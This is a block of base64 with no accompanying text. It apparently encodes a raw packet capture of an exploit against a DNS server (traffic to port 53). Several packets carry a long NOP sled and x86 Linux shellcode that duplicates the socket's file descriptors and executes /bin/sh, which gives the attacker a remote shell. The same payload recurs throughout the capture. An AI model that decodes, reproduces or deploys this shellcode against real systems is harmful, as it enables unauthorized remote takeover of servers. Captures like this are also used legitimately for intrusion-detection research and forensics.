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 wZEoDgyi+jeOhj4nLB3LDj88xlx6TFzQyFse6a0GCoTU822th4eSr/WF+/td RXXS+7mBfjXrSVI21Ui5xUUkcL66b21TNo9XayRwFUUiUegdCEpX4WaFO8bm 15i7M3te02QxeImGx/bNaKdgt8VSxllUp04Mc7QY3e3DUd4FDi0Eon0m5vcv 4YY1AlQNANwFAADqBQAAAAD0rwR8AOCjijwACABFAAXczdRAADoGTtrN/WfE znwaLzRrADU62JMGmOwF5VAQfXhCngAAemkJgAAAAAEAAAAAAAABAAEAAHpp BgGQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQ kJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQ kJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQ kJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQ kJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQ kJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQ kJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQ kJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQ kJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQ kJCQkJCQkJCQkJCQkJCQkJCQkDHAsD8x27MEMcnNgDHAsD+xAc2AMcCwP7EC zYDrJF6NHoleCzPSiVYHiVYPuBtWNBI1EFY0Eo1OC4vRzYAzwEDNgOjX//// L2Jpbi9zaACQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQ kJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQ kJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQ kJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQ kJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQ kJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQ kJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQ kJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQ kJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQ kJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQ kJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQ kJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQ kJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQ kJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQ kJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQ kJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQ kJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQ kJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQ kJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQ kJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQ kJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQMOGGNXIwAgDcBQAANgAA AADgo4o8AAAA9K8EfAgARQAAKEgeQABABtREznwaL839Z8QANTRrmOwF5TrY mLpQEH/gaoIAAAAAAAAAAMv3GHY9whZ7ZctR6aIbUlCGMh+xYUBHPn7WvD/j tGF+LaFGreRzanr7EaDBkvCcXzuJLWG+gzQo1IrlGbH0f4pP/u2Ita/F8UzT E2//8VrXPc9fFcxskHrGhi4XFgiz7tvzGeVDHUAALAUcC9AKYuUlY/8XqBgk uom2OXNyJSjC2CYnoPIoTubl7s4iquMsWM5UcS3JbmmqTE/WTiSTbAMhjnRC mbEk+bk4xPoCHEPHeYpZH8QFaOtuOhjUMVDldGL8vF1Osd6JbT5QkvxkltT6 mKdXSKVhbVQ8VsSAeZPS6n1GalW9o1XrfEeA+fQI0kr1zbmGH4jnBjz1i0ja rvdn2NYpPvP9a1ra3tj4+t4/160+fPyZsWBFEiyesG1vomLvw1c5SyHu67gB VIwdXLdGRKoE23+bFK3znYIehjraIyI0lCoChpajt1pFAMExyGG2LwwFRP1F Iba7Dr+R9u7/U7gSaFSyC5FD8zRuZQRJcp5n2uQHl4NI/A1yDmibZuNbCl0k byjTDkpSdB1gqTjOdlPQ51S2w0OU58oiZCkPYGFmivHYjo7b02wuEf5wz3pW E1XvBetWNXu9hYlcG+sOtNPaRdakct2g2x6Xzn4xnGZPNQCCB7wRA4eHB+RU 4IgJgDCTVuR/M9UYoWCmlzie2wAACLOJdj0E1////y9iaW4vc2gAkJCQkJCQ kJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQ kJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQ kJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQ kJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQ kJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQ kJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQ kJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQ kJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQ kJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQ kJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQ kJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQ kJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQ kJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQ kJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQ kJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQ kJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQ kJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQ kJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQ kJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQ kJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQ kJCQkJCQkJCQkJCQkJCQkDDhhjXCZAUA3AUAAJoAAAAAAPSvBHwA4KOKPAAI AEUAAIzN1kAAOgZUKM39Z8TOfBovNGsANTrYmLqY7AXlUBh9eMzUAACQkJCQ kJCQkJCQkJCQkJCQkDHAsD8x27MEMcnNgDHAsD+xAc2AMcCwP7ECzYDrJF6N HoleCzPSiVYHiVYPuBtWNBI1EFY0Eo1OC4vRzYAzwEDNgOjX////L2Jpbi9z aADA8v+/rSzNlKKOywOBXolGo9LrhjVze8nHg0bgbq4X97OcesWNAveu4TLB V8trab8seWfclYcRmpuSNPavxjFa/5pnHga+t/Gt1zmBS9748wbPHxUwCoCJ B0VFRdxT2Zn7hosLTCXDCe2gAAiOyZDuMv/70gQEAAYoWdSrGHtwzMp6YWMP Xhk1aVBMYe3C+qspyYw9uCYfGCb7SBGRZak4fg1oyu02GRMgVQf2CFrRVwqB BtTjFVSJMqHBNeTxeCXsv6yV+YnLYBonlp6/bkTmZZB8Gzkhh6GYJj0O125P 5Ab52B9yLlbW2dsnWMHeQlPJdLQlShh+Jk/oB/ltUSiYj6cGZTVVy4kVpbo7 hCp76xPHtq7i4T2lxqG+tT7dbtLjEanq/javn0zTP1rPzrPzq00td2t8fWPq mIvGDyaYeUAgKs9W8st/qlScLL6dXpeUuwBMsEsEPF7I6ysp8xBeiEZMxsac 6CZShsy2HIBgErVjJrMtY06pVG70nQmNgXUVEQ0UBZhL2J2mSs1eOHWY0Tyv 3FaOJQzecaFuvOrKFNf///8vYmluL3NoAJCQkJCQkJCQkJCQkJCQkJCQkJCQ kJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQ kJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQ kJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQ kJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQ kJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQ kJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQ kJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQ kJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQ kJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQ kJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQ kJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQ kJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQ kJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQ kJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQ kJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQ kJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQ kJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQ kJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQ kJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQ kJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQ kJAw4YY1wmQFANwFAADqBQAAAOCjijwAAAD0rwR8CABFAAXcSCJAAEAGzozO fBovzf1nxAA1NGuY7AXlOtiZHlAYf+BEiQAABhh6aYmFAAAAAQAAAAAAAAEA AQAAemkGAZCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQ kJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQ kJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQ kJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQ kJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQ kJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQ kJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQ kJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQ kJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQ kJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQMcCwPzHbswQxyc2AMcCwP7EBzYAx wLA/sQLNgOskXo0eiV4LM9KJVgeJVg+4G1Y0EjUQVjQSjU4Li9HNgDPAQM2A 6Nf///8vYmluL3NoAJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQ kJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQ kJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQ kJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQ kJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQ kJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQ kJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQ kJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQ kJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQ kJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQ kJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQ kJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQ kJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQ kJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQ kJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQ kJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQ kJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQ kJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQ 